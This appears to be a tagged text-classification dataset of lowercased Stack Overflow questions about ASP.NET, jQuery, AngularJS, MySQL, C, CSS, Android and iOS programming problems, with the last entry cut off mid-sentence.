asp.net core configuration - appsettings.json : value is null  i have this in my appsettings.json file   <pre><code>{    api : {        users :  /api/users          default :  /api     } } </code></pre>   i want to deserialize  appsettings.json  into the startup class to obtain value1=  /api/users     as result  sectiondata &amp; value1 are null and i don t know why ..   <pre><code>public class startup     {         public string value1  value2;         public startup(ihostingenvironment env)         {             var builder = new configurationbuilder()                 .setbasepath(env.contentrootpath)                 .addjsonfile( appsettings.json   optional: true  reloadonchange: true)                 .addjsonfile($ appsettings.{env.environmentname}.json   optional: true)                 .addenvironmentvariables();              if (env.isdevelopment())             {                 // this will push telemetry data through application insights pipeline faster  allowing you to view results immediately.                 builder.addapplicationinsightssettings(developermode: true);             }              configuration = builder.build();         }          public iconfiguration configuration { get; }         public void configureservices(iservicecollection services)         {             // setup di in service container             services.addoptions();             services.addsingleton&lt;iconfiguration&gt;(configuration);             iconfigurationsection sectiondata = configuration.getsection( api ).getsection( users );             debug.writeline( section data= +sectiondata);             value1 = configuration.getsection( api )[ users ];             debug.writeline( testvvalue1=  + value1);         }     } </code></pre>   thank you in advance for your help !,.net
onload condition check  i have a function that i call onload of my page.     withing this function i have a conditional statement:   <pre><code>if (marvert &gt; 20) {    alert( 1111111 ); } else {    alert( 2222222 ); } </code></pre>   alert: 1111111  however if i modify it to    <pre><code>if (marvert &gt; 20 &amp;&amp; marvert &lt;= 68) {    alert( 1111111 ); } else {    alert( 2222222 ); } </code></pre>   alert gives me 2222222.    i have no idea what s going on...,jquery
how to condition on change of option in angular select with external json values   i have dropdown inside my view that is being populated from factory(ajax) api in other words i have a json formatted data to populate the <code>dropdown(id display_text)</code> as follows:    <strong>my view</strong>   <pre><code>&lt;select class= form-control padding-7  ng-model= selconndata.repeatselect  ng-options= types.id as types.text for types in selconndata.connlist  ng-change= updatecontype( {{types.val}} ) &gt;         &lt;/select&gt; </code></pre>   <strong>my controller</strong>   <pre><code>                     $scope.selconndata = {                         repeatselect: null                      };                      getconnectionlist.connectionlist().then(function(response){                     console.log(json.stringify(response.data));                     var tempconnections = {};                     var tempconnlist = [];                     angular.foreach(response.data.result  function(value  key) {                         tempconnlist.push({                             id: value.id                              text: value.name                              val:  thrloc                               });                     });                     $scope.selconndata.connlist = tempconnlist;                 }); </code></pre>   <strong>my factory</strong>   <pre><code>    app.factory( getconnectionlist   function($http) { var resultant = {};  resultant.connectionlist = function(){         return $http({             method:  get               url:  xyz          });     }      return resultant;  }); </code></pre>   my final json o/p will be in:   <pre><code>                           [{                                     id: 1                                      text:  connection 1                                       val:  8010                                  } {                                     id: 2                                      text:  connection 3                                       val:  8030                                  } {                                     id: 9                                      text:  connection 4                                       val:  8040                                  }] </code></pre>   now  my dropdown option will be like   <pre><code>&lt;select&gt;   &lt;option value= 1 &gt;connection 1&lt;/option&gt;   &lt;option value= 2 &gt;connection 3&lt;/option&gt;   &lt;option value= 9 &gt;connection 4&lt;/option&gt; &lt;/select&gt; </code></pre>   up to here everything is working  my ng-model gives me selected value but i need a condition to run where on change of options i will check if(8010) do-something elseif(8030) do-something elseif(8040) do-something.    p.s: i tried ng-attr but not a best case(couldn t get the values out),angularjs
replacing class with variable  just a simple question     im trying to replace class with var  but obviously still something wrong in the string.     i m doing this:   <pre><code>var c = $( .form )               $(      + c +    tr ).remove(); </code></pre>   and trying to achieve this:    <pre><code>$( .form tr ).remove(); </code></pre>   i know that might be simple question  but please forgive me  im still learning basics    thanks,jquery
how do i get this angularjs service working in my code   here is the code for my service. it is taken almost exactly from the first answer <a href= https://stackoverflow.com/questions/12008908/how-can-i-pass-variables-between-controllers >here.</a>   <pre><code>var myapp = angular.module( myapp   [ ngroute ]);         myapp.service( sharedproperties  function(){            var property =  first ;             return{                getproperty:function(){                    return property;                }                 setproperty:function(value){                    property = value;                }            };        }); </code></pre>   <a href= http://jsfiddle.net/b2fce/731/  rel= nofollow noreferrer >here is the jsfiddle</a> that shows my code in full and it not working.    the error i get is:   <blockquote>     error: sharedproperties is not defined  </blockquote>   for the line that the alert is on. i am just using an alert as a mere example of showing that the service is working before i extend the code further.    anyone know why this simple example of a service is not working  i ve thoroughly went over the code to make sure there are no typos or anything silly like that.    the answer that i linked has a jsfiddle that uses an older version of angularjs. i was able to replace it with the version angular being used in my jsfiddle and it still worked fine so it doesn t seem to be a version issue.,angularjs
system.web.httpexception: validation of viewstate mac failed  whenever i perform one particular action in my application i get this following error.  also:  <ul>  <li>i only get it on first click  all my subsequent clicks work</li>  <li> i only get it in ie  works fine on google chrome</li>  <li> i don t get it on my local workstation  only on dev/qa server</li>  <li> its a web garden environment</li> </ul>    <b>updates</b>    <ul> <li>when i get rid of web garden  it still throws an error</li> <li>when i go to the server and try to run the application from there  i don t get the exception</li> </ul>   <b>more updates</b>    <ul> <li>i don t see the error with ie version 8.0.6001.18702 anymore</li> <li>ie versions where i see the error are : 8.0.7601.17514  8.0.6001.18702ic  7.0.5730.13 </li> <li>on any version of ie with chromeframe 23.0.1271.97 (official build 171054)  we do not see the issue any help would be greatly appreciated!!</li> </ul>    system.web.httpexception: validation of viewstate mac failed. if this application is hosted by a web farm or cluster  ensure that  configuration specifies the same validationkey and validation algorithm. autogenerate cannot be used in a cluster. ---> system.web.ui.viewstateexception: invalid viewstate.     <pre><code>client ip: xx.xxx.xx.xxxx port: xxxx user-agent: mozilla/5.0 (windows nt 5.1; chromeframe/25.0.1364.97) applewebkit/537.22 (khtml  like gecko) chrome/25.0.1364.97 safari/537.22 viewstate: /wepdwulltiwmjazmza5nzcpzbyczg9kfgrmd2qwagibdxujngh0dha6ly9zdgv3awuyojgwl3nvdmvyys9zy3jpchrzl2pxdwvyes0xljqumi5taw4uanm3ahr0cdovl3n0zxdpzte6odavc292zxjhl3njcmlwdhmvanf1zxj5lmjnawzyyw1llm1pbi5qcy1odhrwoi8vc3rld2llmto4mc9zb3zlcmevc2nyaxb0cy96zw5nyxn0zxiuanmvahr0cdovl3n0zxdpzte6odavc292zxjhl3n0ewxlc2hlzxrzl2dsb2jhbc5jc3myahr0cdovl3n0zxdpzte6odavc292zxjhl3n0ewxlc2hlzxrzl3plbk1hc3rlci5jc3m+ahr0cdovl3n0zxdpzti6odavc292zxjhl3njcmlwdhmvanf1zxj5lxvplteuoc4ylmn1c3rvbs5taw4uanmyahr0cdovl3n0zxdpzti6odavc292zxjhl3njcmlwdhmvz3jpzc5sb2nhbgutzw4uanm1ahr0cdovl3n0zxdpzte6odavc292zxjhl3njcmlwdhmvanf1zxj5lmpxr3jpzc5taw4uanmpahr0cdovl3n0zxdpzti6odavc292zxjhl3njcmlwdhmvannvbjiuannkagepzbyiagmpdxychghjbwfnzvvybaucz3jhcghpy3mvawnvbnmvymfubmvyx3ntlmdpzmrkagqpzbycagepzbyczg9kfgicbq8pfgiebfrlehqfcvn5c0fkbwlumwrkagspzbygagipzbycagepzbyczg9kf... </code></pre>   --- end of inner exception stack trace ---   <pre><code>    at system.web.ui.viewstateexception.throwerror(exception inner  string persistedstate  string errorpagemessage  boolean macvalidationerror)     at system.web.ui.viewstateexception.throwmacvalidationerror(exception inner  string persistedstate)     at system.web.ui.objectstateformatter.deserialize(string inputstring)     at system.web.ui.objectstateformatter.system.web.ui.istateformatter.deserialize(string serializedstate)     at system.web.ui.util.deserializewithassert(istateformatter formatter  string serializedstate)     at system.web.ui.hiddenfieldpagestatepersister.load()     at system.web.ui.page.loadpagestatefrompersistencemedium()     at system.web.ui.page.loadallstate()     at system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint)     </code></pre>,asp.net
can we call a function within a function in java   if we declare a method to be static  then without needing to instantiate we can call that method anywhere within the class body.    if we do not declare a method to be static  then an object can be instantiated and we call the method.    now if we do not declare a method to be static and also do not instantiate  can we call a function within a function     edit:    i understand now  that my hunch was right. we cannot call another function within a function unless there static or object instantiation.    but in java applets i remember seeing a function being called from another function.    <pre><code>import javax.swing.*; import java.awt.container;  public class methodcall extends japplet {     public void init()     {         string output =   ;         jtextarea outputarea=new jtextarea(10 20);         container c = getcontentpane();         c.add(outputarea);          int result;         for(int x=1;x&lt;=10;x++)         {             result = square(x);             output +=  square of   + x +   is   + result +  \n ;         }//end of for loop          outputarea.settext(output);     }//end of init()      public int square(int y)     {         return y*y;     }//end of square()  }//end of class methodcall </code></pre>   see square() function,java
creating domains for every  logical  domain  i have a databases class in which the prof wants us to create domains for every type  even when these just end up being aliases to other types. for example  instead of using the default <code>date</code> type  we would create out own type depending on what kind of day it is (eg  <code>orderdate</code>).    i m wondering if this is common or a best practice.    i can think of some pros and cons to this approach. a pro is that it makes it clear exactly what the domain is intended for  and typically we d only compare fields if they have the same domain and any other comparison is something to watch for (since it could be comparing apples to oranges). but as a con  this also makes it more confusing to work with the types  as we d have to refer to the domain declaration to figure out what kind of type a column really is (not that we need to do this too often).,sql
mysql breaks when adding a var  i m attempting to modify a mysql query (that works) to return a more specific result. i ve added a variable to the statement so that it looks for jobid and username. adding the $username to the statement breaks it.    i ve included the code below with the three variations of the sql statement for comparison. i m sure it s something obvious - to everyone but me...    thanks in advance!    db   <hr>  <pre><code>// get all applicants from a user public function getallmyapplications($from=false  $to=false  $user_name)     {     global $db;     $applicants = array();      if ($from &gt;= 0 &amp;&amp; $to &gt; 0)             {                 $sql_limit =   limit   . $from .     . $to;             }             else             {                     $sql_limit =   ;                             }      $user_name =  bob bobberton ; // reset this var for testing      $sql =  select * from  .db_prefix. job_applications where job_id =  . $this-&gt;mjobid .   order by name asc   . $sql_limit; // this was the original sql that worked      $sql =  select * from  .db_prefix. job_applications where job_id =  . $this-&gt;mjobid .   and name =   . $user_name .   order by name asc   . $sql_limit; // added  and  $user_name - it breaks       $sql =  select * from  .db_prefix. job_applications where job_id =  . $this-&gt;mjobid .   and name =  bob bobberton  order by name asc   . $sql_limit; // replace var with value  bob bobberton  and it works       $result = $db-&gt;query($sql);     while ($row = $result-&gt;fetch_assoc())     {             $applicants[] = array( id  =&gt; $row[ id ]                        job_id  =&gt; $row[ job_id ]                        name  =&gt; $row[ name ]                        email_address  =&gt; $row[ email_address ]                        message  =&gt; str_replace(array( \r\n    \r    \n )   &lt;br /&gt;   $row[ message ])                       resume_path  =&gt; base64_encode($row[ resume_path ])                       created_on  =&gt; $row[ created_on ]                       ip  =&gt; $row[ ip ]);     }      if (isset($applicants))     {         return $applicants;     }else{         return(  );     } } </code></pre>,mysql
do you know any tools to switch from external/internal stylesheet to inline style   i m looking for a tool which uses the css selectors within a stylesheet to generate the selected inline style.    e.g :   <pre><code>&lt;head&gt; &lt;style text= text/css &gt; a {    text-decoration: none; }  #a  #b  #c {    position: absolute; }  #b {    left: 50px; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;   &lt;div id= a &gt;     &lt;p&gt;      &lt;a href= http://www.stackoverflow.com &gt;so&lt;/a&gt;     &lt;/p&gt;   &lt;/div&gt;   &lt;div id= b &gt;   &lt;/div&gt;   &lt;div id= c &gt;   &lt;/div&gt; &lt;/body&gt; </code></pre>   will be :   <pre><code>&lt;body&gt;   &lt;div id= a  style= position: absolute &gt;     &lt;p&gt;      &lt;a href= http://www.stackoverflow.com  style= text-decoration: none; &gt;so&lt;/a&gt;     &lt;/p&gt;   &lt;/div&gt;   &lt;div id= b  style= position: absolute; left: 50px; &gt;   &lt;/div&gt;   &lt;div id= c  style= position: absolute &gt;   &lt;/div&gt; &lt;/body&gt; </code></pre>   any ideas  !    <strong>edit :</strong>    i want to do that to be able to  style  email in most email client  especially for gmail  which doesn t support external or even internal stylesheet.,css
struggling with large code base in c++  i know basic concepts like copy constructor and other of c++ like below example    <pre><code>#include&lt;iostream&gt; #include&lt;stdio.h&gt;  using namespace std;  class test { public:    test() {}    test(const test &amp;t)    {       cout&lt;&lt; copy constructor called  &lt;&lt;endl;    }    test&amp; operator = (const test &amp;t)    {       cout&lt;&lt; assignment operator called  &lt;&lt;endl;    } };  int main() {   test t1  t2;   t2 = t1;   test t3 = t1;   getchar();   r  eturn 0; } </code></pre>   now when when i am trying to understand the code flow of the project in my office but i am struggling in that. i am not able to figure out how the flow is going.sometime i am getting some overview but when i dig into the code i m not connecting the c++ concepts to the real code .,c++
linker command failed with exit code 1 (user -v to see invocation)  i got an error:   <pre><code>framework not found facebooksdk clang: error: linker command failed with exit code 1 (user -v to see invocation) </code></pre>   when i copy my project to another macbook to run i found this error.i used the facebooksdk framework.if i deleted the facebook framework in my project and then add the facebook framework again to my project can solved this error.but i don t want to solve this problem like that.any other better idea.    thanks in advanced.,ios
jquery content switcher only switches once  i m trying to use <a href= https://code.google.com/p/jquery-content-panel-switcher/  rel= nofollow >this content switcher.</a> and i ve got it working fine in js fiddle. but when i try to implement it on my site it doesn t work properly. the first panel displays correctly and when i click the link it fades to the second panel correctly.     but  when i click the first or any other link it fades the same content (from whatever link is first clicked) in again. here s the <a href= http://www.breadoflife.themiddlekingdom.org/  rel= nofollow >page with the broken slider.</a> any help would be much appreciated.    the html:   <pre><code>&lt;div id= fp_nav  class= text_box &gt;    &lt;a id= ourstory  class= switcher &gt;our story&lt;/a&gt;     &lt;a id= ourpeople  class= switcher &gt;our people&lt;/a&gt;    &lt;a id= ourcustomers  class= switcher &gt;our customers&lt;/a&gt;     &lt;a id= contactus  class= switcher &gt;contact us&lt;/a&gt; &lt;/div&gt;  &lt;div id= switcher-panel  class= content &gt;      &lt;div id= ourstory-content  class= switcher-content show &gt;&lt;strong&gt;bread of life bakery&lt;/strong&gt; is a non-profit organization run by physically disabled young adults...&lt;/div&gt;     &lt;div id= ourpeople-content  class= switcher-content &gt;&lt;strong&gt;our people&lt;/strong&gt; are good people.&lt;/div&gt;              &lt;div id= ourcustomers-content  class= switcher-content &gt;&lt;strong&gt;our customers&lt;/strong&gt; are really good customers.&lt;/div&gt;              &lt;div id= contactus-content  class= switcher-content &gt;&lt;strong&gt;contact us&lt;/strong&gt; to order some really great bakery items.&lt;/div&gt; &lt;/div&gt; </code></pre>   and the jquery:   <pre><code>var jcps = {}; jcps.fader = function (speed  target  panel) {     jcps.show(target  panel);     if (panel == null) {         panel =        };     jquery( .switcher  + panel).click(function () {         var _contentid =  #  + jquery(this).attr( id ) +  -content ;         var _content = jquery(_contentid).html();         if (speed == 0) {             jquery(target).html(_content);         } else {             jquery(target).fadetoggle(speed  function () {                 jquery(this).html(_content);             }).fadetoggle(speed);         }     }); }; jcps.slider = function (speed  target  panel) {     jcps.show(target  panel);     if (panel == null) {         panel =        };     jquery( .switcher  + panel).click(function () {         var _contentid =  #  + jquery(this).attr( id ) +  -content ;         var _content = jquery(_contentid).html();         if (speed == 0) {             jquery(target).html(_content);         } else {             jquery(target).slidetoggle(speed  function () {                 jquery(this).html(_content);             }).slidetoggle(speed);         }     }); }; jcps.show = function (target  panel) {     jquery( .show ).each(function () {         if (panel == null) {             jquery(target).append(jquery(this).html() +  &lt;br/&gt; );         } else {             var trimpanel = panel.replace( .     );             if (jquery(this).hasclass(trimpanel) == true) {                 jquery(target).append(jquery(this).html() +  &lt;br/&gt; );             }         }     }); }  jquery(document).ready(function () {     jcps.fader(300   #switcher-panel ); }); </code></pre>   and a very small amount of css:    <pre><code>.switcher-content { display: none; } </code></pre>,jquery
how can we check the mailaddress is valid not 3af4316c-60e1-43db-929a-ad403f6c8aae@domain.com  i have checked whether the mail address is valid  are not by using the function    <pre><code>public function isvalid(byval saddress as string  byref objmailaddress as mailaddress  _                                 byval serrormsg as string) as boolean     try         objmailaddress = new mailaddress(saddress)         return true     catch ex as exception         showerrormsg(serrormsg &amp;     &amp; saddress &amp;   is invalid.  &amp; ex.message)         return false     end try end function </code></pre>   how can we check the mail address like  3af4316c-60e1-43db-929a-ad403f6c8aae@domain.com is valid or not,.net
add attribute as column if second table contains record  i have two databases: one contains the users:     <strong>persons</strong>   <pre><code>id name course </code></pre>   the other one contains the     <strong>voters</strong>   <pre><code>   id    personid    type </code></pre>   an entry to the voters table gets added when the user voted (type describes different topics a user can vote on)     i want to get all users for example where <code>persons.course =  1  and voters.type =  2 </code> and have the output contain the following columns: id  name  hasvoted (where hasvoted returns true if the personid can be found in the voters table),mysql
asp:linkbutton (navigating to specific page section on post back)  i have some linkbuttons to update my gridview which is in the middle of the page. everytime i hit edit or delete etc the window scrolls to the top on the page that gets posted back. i want it to stay focused on the grideview. i have tried a javascript function but for some reason it did not work.    (edit: the following works as far as scrolling is concerned but prevents postback)    here is what i tried   <pre><code>&lt;script type= text/javascript  language= javascript &gt;        function goto()   {              window.scrollto(10  1100);         }     &lt;/script&gt;  &lt;asp:linkbutton id= lbtngo  runat= server    onclientclick= javascript:goto();return false; &gt;go&lt;/asp:linkbutton&gt;  </code></pre>   <a href= http://forums.asp.net/p/441243/3647829.aspx  rel= nofollow noreferrer >source</a>    how can i do this,asp.net
segmentation fault for function to split the words of a string in a 2d string  i am trying to write a function who take a string and puts all the words in a 2d array  but i am getting a segmentation fault error.   <pre><code>#include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt;  static int      ft_countwords(char const *s  char c) {     int     nbr;     int     i;      i = 0;     nbr = 0;     while (s[i])     {         if (s[i] != c)          {             nbr++;             while (s[i] != c)                 i++;         }         else         {             while (s[i] == c)                 i++;         }        }     return (nbr); }  static char     *ft_getword(char const *s  char c  int *start) {     int     i;     int     word_size;     char    *word;      i = 0;       word_size = *start;     while (s[word_size] &amp;&amp; s[word_size] != c)         word_size++;     word = (char*)malloc(word_size - *start + 1);     while (s[*start] &amp;&amp; s[*start] != c)     {         word[i] = s[*start];         i++;         *start++;     }     word[i] =  \0 ;     return (word); }  char            **ft_strsplit(char const *s  char c) {     int     row;     int     i;     char    **a;      a = null;     if (s)         a = (char**)malloc(sizeof(char*) *  ft_countwords(s  c) + 1);     row = 0;     i = 0;     while (s[i] &amp;&amp; row &lt; ft_countwords(s  c))     {         if (s[i] != c &amp;&amp; s[i])         {             a[row] = strdup(ft_getword(s  c  &amp;i));             row++;         }         while (s[i] == c)             i++;     }     a[row] =  \0 ;     return (a); } int             main(void) {     int     i;     char    *test  **a;      test = strdup( __aaa_bbb__ccccc_dddd___ );     a = ft_strsplit((char const *)test   _ );     if (a)     {         i = 0;         while (a[i])         {             printf( %s\n   a[i]);             i++;         }     }     else         printf( (null) );     return (0); } </code></pre>   i tested the first two functions and they work  but i cannot find the problem with the ft_strsplit function.   <pre><code>gcc ft_strsplit.c &amp;&amp; ./a.out segmentation fault (core dumped) </code></pre>,c
replace recurring string in a file with a single string  i have a text file which has lines as below:   <pre><code> aa aa bb aa   cc cc dd bb bb  </code></pre>   wanting to remove recurring tokens to have a file like that:   <pre><code> aa bb   cc dd bb  </code></pre>,python
how do i avoid hiding (or dismissing) an alertdialog when clicking a neutralbutton   i m trying to use a multiple selectable dialog as the code below. and i want to use a neutral button to deselect all the items in the list. but when clicking a button whichever on the dialog  the dialog disappears immediately  i assume it must be a default action. but i want to remain it since a user doesn t expect that action i think. is it possible to avoid disappearing a dialog when clicking a button on it  or should i make a custom dialog    <pre><code>protected dialog oncreatedialog( int index)  {     return new alertdialog.builder(this)             .settitle(  title  )             .setmultichoiceitems(items  selections  new dialoginterface.onmultichoiceclicklistener(){                 @override                    public void onclick( dialoginterface dialog  int clicked  boolean selected ) { }                 })                   .setpositivebutton(  ok   new dialoginterface.onclicklistener()             {                 @override                 public void onclick(dialoginterface dialog  int id)                 {                     //do something                 }             })             .setneutralbutton(  deselect all   new dialoginterface.onclicklistener()             {                 @override                 public void onclick(dialoginterface dialog  int id)                 {                     //do something                 }             })             .create(); } </code></pre>   thanks in advance  yokyo,android
how can i get the specific value after special characters  i have a value as <code> spas1_4_2 </code> under which <strong>spas</strong> is fixed. i want to fetch the value <code>4</code> and <code>2</code> under different variable. these value can change based on a click however the <strong>_</strong> will remain same.    how can i get 4 and 2 value in seprate variable,javascript
server connection in android application  how can i connect to the server in android . give me some code it will really helpful for me .,android
how to make text  right justified in file type of input   in html input file type attribute  how to make file path right justified  which i am getting by browsing    <pre><code>&lt;input type=file id= id  class= file  /&gt;     $( #id ).css( text-align   right )  </code></pre>   is not working.    i tried    <pre><code>$( #id ).attr( style   text-align:right ); </code></pre>   but no use. if i use class instead of id then also it is not working,html
requiring lib/modules/file.rb in my app/services/service.rb file. how do i do this   i have a module in my lib/modules/module.rb folder and a service object in my app/services/service.rb file. i am trying to have access to the methods that i defined in module.rb in my service object in my app/services/service.rb file. i want to be able to call module methods in service.rb.    i have this line written:   <pre><code>config.autoload_paths += %w(#{config.root}/lib) </code></pre>   in my application.rb file. what am i doing wrong  what else do i need to do     in case you need it  my service.rb file looks like this and is a poro.   <pre><code>class findtrip    attr_reader :destination                :origin                :departure_date                :return_date                :max_price                :qpx_service  ...  end </code></pre>,ruby-on-rails
what does bootstrap mean in an angular js tutorial   the tutorial keeps referencing the term bootstrapping but when i search the term i see a link to a framework by twitter. are they talking about something specific like this or something more general,angularjs
what is the use of  \f  character.where is to use it  <pre><code>public class task2 {   public static void main(string argv[]){      system.out.println(“uok  \f bsc in mit );//      system.out.println( whatever you are  \f be a good one. );   } } </code></pre>   in the above code  <code>\f</code> is used  but output only shows a   character inside a square.,java
why can t i instantiate an object in a function  so basically i have a class nodetree:   <pre><code>public class nodetree {     public nodetree(int value  nodetree left  nodetree right)     {         value = value;         right = right;         left = left;     }      public int value { get; set; }     public nodetree right { get; set; }     public nodetree left { get; set; } } </code></pre>   and in my main i want to do something like    <pre><code>nodetree root = null; algo.insertvalueit(root  8); </code></pre>   where insertvalueit() is a method from my static class algo which does :   <pre><code> public static void insertvalueit(nodetree root  int val)     {         var newnode = new nodetree(val  null  null);         if (root == null)         {             root = newnode;         }     } </code></pre>   everything is working as expected in my method  but back to my main  my object root is still null.  the reason i am confused is that i give to my method a reference  so it should modify the value of the adress to the new space i am allocating.    i think i can solve my problem by just returning a nodetree  but is there a way of doing it with a void return type,c#
how to initial a web server on iphone  i recentlly see some iphone application which initial a web server and give a url to user  so we can access some files from that url from pc  for example an export contact app create a excel file  and for transferring that file give us a url and we can access from pc browser.    the question is how we can do that,iphone
targetting multiple .net framework versions by using different project configurations  i have a project which i need to build in two different configurations. one configuration will target .net framework 3.5 and another will target .net framework 4.0. first of all is that possible  i have created a new configuration called dotnet35 (using the usual steps) which will target .net 3.5. i have done this by specifying the target version in the created project config as v3.5 it does not seem to work. any idea why  here is the property group section from my .csproj (only manual addition is the targetframeworkversion element)   <pre><code>&lt;propertygroup condition=  $(configuration)|$(platform)  ==  dotnet35|anycpu  &gt;     &lt;debugsymbols&gt;true&lt;/debugsymbols&gt;     &lt;outputpath&gt;bin\dotnet35\&lt;/outputpath&gt;     &lt;defineconstants&gt;debug;trace&lt;/defineconstants&gt;     &lt;debugtype&gt;full&lt;/debugtype&gt;     &lt;targetframeworkversion&gt;v3.5&lt;/targetframeworkversion&gt;     &lt;platformtarget&gt;anycpu&lt;/platformtarget&gt;     &lt;codeanalysislogfile&gt;..\..\bin\client\debug\cs.xray.xrayclient.dll.codeanalysislog.xml&lt;/codeanalysislogfile&gt;     &lt;codeanalysisusetypenameinsuppression&gt;true&lt;/codeanalysisusetypenameinsuppression&gt;     &lt;codeanalysismodulesuppressionsfile&gt;globalsuppressions.cs&lt;/codeanalysismodulesuppressionsfile&gt;     &lt;generateserializationassemblies&gt;off&lt;/generateserializationassemblies&gt;     &lt;errorreport&gt;prompt&lt;/errorreport&gt;     &lt;codeanalysisruleset&gt;allrules.ruleset&lt;/codeanalysisruleset&gt;     &lt;codeanalysisrulesetdirectories&gt;;c:\program files\microsoft visual studio 10.0\team tools\static analysis tools\\rule sets&lt;/codeanalysisrulesetdirectories&gt;     &lt;codeanalysisignorebuiltinrulesets&gt;true&lt;/codeanalysisignorebuiltinrulesets&gt;     &lt;codeanalysisruledirectories&gt;;c:\program files\microsoft visual studio 10.0\team tools\static analysis tools\fxcop\\rules&lt;/codeanalysisruledirectories&gt;     &lt;codeanalysisignorebuiltinrules&gt;true&lt;/codeanalysisignorebuiltinrules&gt;   &lt;/propertygroup&gt; </code></pre>,.net
how to validate multiple text field in ios  i am working on application  that contains multiple textfields is there any way to validate all the field at once to check they all are not empty before submitting.as i able to validate one by one.,ios
image upscaling - limit for small images  i m working on a mobile layout for our site. i ve encounterd an issue regarding small images  posted in our forum. in our css we ve set   <pre><code>width: 100%; </code></pre>   which works really well for large images  scaling them in nice. how-ever  smaller images  gets blown-up and become really large and pixelated.    is there an easy way to prevent smaller images from being extremly upscaled,css
add scores of array with objects that have the same id  i have an array of objects:   <pre><code>console.log(quiznight[0].round[--latestround].t)  -&gt; [ { teamid: 16867  correctanswers: 1 }        { teamid: 16867  correctanswers: 1 }        { teamid: 16867  correctanswers: 1 } ] </code></pre>   and i want to have a correcttotalanswers array to look like this:   <pre><code>[ { teamid: 16867  correcttotalanswers: 3} ] </code></pre>   what would be the smartest way to go about it  the code which i have now:   <pre><code>let correctanswersarrayroung = quiznight[0].round[--latestround].t; let totalcorrentanswersarray = []; for (let correctanswer in correctanswersarrayroung) {    console.log(correctanswersarrayroung[correctanswer])    for(let element in totalcorrentanswersarray){       if(element.teamid === correctanswer.teamid){          element.totalcorrectanswers = ++element.totalcorrectanswers       } else {          totalcorrentanswersarray.push({             teamid: correctanswer.teamid              totalcorrectanswers: 1          })       }    } } console.log(totalcorrentanswersarray) </code></pre>   this returns <code>[]</code>,javascript
and or causing more results to appear than should  i m trying to display results for that match a specific timeframe - which works fine. however  i wanted to add a clause that would say that the results shown must be either party_type <code>1</code> or <code>2</code>.    so i did this   <pre><code>where start_datetime &gt;=  $date_start_selected  and end_datetime &lt;  $date_end_selected   and party_type= 1  or party_type= 2  group by events.entrance_price </code></pre>   but now it s showing some additional events from yesterday... what s interesting though  is that it s not showing any events that are further back.,mysql
which is better initializing global/static variables to zero or keep them uninitialized  1) while declaring global &amp; static variables  should we initialize them to 0  though by default they will be initialized to 0  is there any recommended approach      2) should we keep them uninitialized (where they go to bss section) or initialize them to 0 (where they go to data section of memory)  will that (which area of memory they go to) have any impact  will keeping them uninitialized result in small size of binary image of program (if yes  please let me know how it will result in small size &amp; can this be a reason to keep them uninitialized)     3) does c coding standard say anything about it  or there are any pros &amp; cons of preferring one approach over the another,c
how to get step names status of test cases using com4j interface through java  hi all     i was successfull in retrieving the step names of each test case by using the below code.   <pre><code>itestfactory itestfactory =         qcconnection.testfactory().queryinterface(itestfactory.class);  com4jobject comobjtest = itestfactory.item(testinstance.testid());  itest =comobjtest.queryinterface(itest.class);    ilist steps = ifactory.newlist(  );  for(com4jobject testins: steps){      idesignstep destep;     destep=testins.queryinterface(idesignstep.class);           system.out.println( stepdescirption +destep.stepdescription());  } </code></pre>   i am using the below code to retrieve status of step names    <pre><code>com4jobject subjectfield = (com4jobject)destep.id(); istep st=subjectfield.queryinterface(istep.class); system.out.println( destep. +st.status()); </code></pre>   but i am retrieving status of the step as null.    anyone please help me how to retrieve the status of the steps of each test cases and execute it.    thanks in adavance.,java
asus zenfone 5 usb device not recognised by windows 8.1  i have zenfone 5 (a501cg) with kitkat 4.4.2. when i connects mobile to my laptop it shows popup saying that  <strong>usb device not recognized</strong>. the previously connected device is malfunctioned . to solve this problem  i have did following:   <ul> <li>from <strong>control panel->hardware and sounds->device manager</strong>. there is one device named **</li> </ul>  <blockquote>    <strong>unknown usb device(device descriptor request failed</strong>  </blockquote>   here i have updated device driver it says that  <strong>device driver is up-to-date</strong> . but problem is still there. can anybody please help me,android
where do i learn all the css parameters and their actual meanings   there seems to be too many attributes/parameters in css... i want to know all of them and their meaning. where can i find it     thanks,css
div under another absolute variable height div  i have a div with variable height (only an image with max-width:100% and auto height to scale it on resize).    so i would like to have a div with text overlaping this image div... ok. but then i would like to have other div under this wrap with image..     here s the problem.. i don t know the height of the div ( cause it deppends on the image height on resize) and then  when i try to continue the other divs that should be under this wrap  the get stucker under it  cause its position is absolute!   <pre><code>&lt;div id= wrap &gt;      &lt;div id= background &gt;          &lt;img src= http://i.imgur.com/hxtf2dq.jpg  class= myimage  /&gt;                  &lt;/div&gt;&lt;!-- #wf_slideritembackground --&gt;      &lt;div id= mysubtitle &gt;          dfdf      &lt;/div&gt;&lt;!-- #background --&gt;  &lt;/div&gt;&lt;!-- #wrap --&gt;  &lt;div&gt; i cant make this div appear under the image... i cant use dimensions since i m trying to create a responsive layout and using height in pixels would ruin it... &lt;/div&gt; </code></pre>   and here is the css:   <pre><code>* { margin:0; padding:0; }  #wrap {      width:100%;     display:table;     text-align:center;  }  #background {     width:100%;     max-width:100%;     position:absolute; }  .myimage {     width: 100%;     max-width: 100%; }      #mysubtitle {     margin:0 auto;     width:100%;     max-width:1200px;     background:green;     position:relative;     } </code></pre>   check the fidddle:    <a href= http://jsfiddle.net/cjd6n0mm/  rel= nofollow >http://jsfiddle.net/cjd6n0mm/</a>,css
how can an objective-c class be tested to determine if it responds to a static selector (a class method)   this is most easily explained with a brief example. let s say i have the following protocol and class definitions:   <pre><code>@protocol protocola &lt;nsobject&gt; @optional + (bool)methoda; @end  @interface classa : nsobject &lt;protocola&gt; @end </code></pre>   <code>classa</code> may or may not define <code>methoda</code>. if i was working with an instance of <code>classa</code> and an instance method  i could test the instance with <code>respondstoselector:</code>. in this situation  however  i cannot think of any clean way to determine if <code>classa</code> defines (responds to) <code>methoda</code>.    <strong>edit:</strong> i was silly and did not make my example specific enough  which meant the answer to the question was not exactly the solution to my problem -- so i am including a bit more code and the warning i am getting:    <pre><code>class &lt;protocola&gt; classref = [classa class];  if([classref respondstoselector:@selector(methoda)]) {} </code></pre>   the above code throws the following warning:   instance method  <code>respondstoselector:</code>  found instead of class method  <code>respondstoselector:</code>      i only just now noticed that if i explicitly cast <code>classref</code> to <code>(class)</code> then the warning goes away. i still find that 